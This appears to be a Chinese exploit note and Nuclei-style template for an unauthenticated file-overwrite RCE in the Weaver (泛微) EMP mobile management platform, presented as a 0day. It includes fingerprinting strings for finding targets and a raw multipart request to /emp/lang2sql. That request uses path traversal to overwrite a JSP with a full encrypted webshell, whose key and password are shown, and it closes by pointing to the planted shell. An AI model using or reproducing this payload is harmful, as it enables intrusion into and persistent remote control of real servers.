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泛微移动管理平台
"移动管理平台"
icon_hash="2062026853"

泛微 emp 文件覆盖 rce 0day

/emp/lang2sql?client_type=1&lang_tag=1
id: emp-rce

info:
  name: emp-rce
  author: ffffffff0x
  severity: critical
  tags: rce

requests:
  - raw:
      - |
        POST /emp/lang2sql?client_type=1&lang_tag=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 2986
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        Origin: null
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO7Ny5WAA3vZGHdkS
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
        Connection: close

        ------WebKitFormBoundaryO7Ny5WAA3vZGHdkS
        Content-Disposition: form-data; name="file"; filename="../../../../appsvr/tomcat/webapps/ROOT/security/monitor/downloadSecurityPackage.jsp"
        Content-Type: application/octet-stream

        <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
        %>
        ------WebKitFormBoundaryO7Ny5WAA3vZGHdkS
        Content-Disposition: form-data; name="submit"

        Submit
        ------WebKitFormBoundaryO7Ny5WAA3vZGHdkS--

然后访问 /security/monitor/downloadSecurityPackage.jsp 就是覆盖的 webshell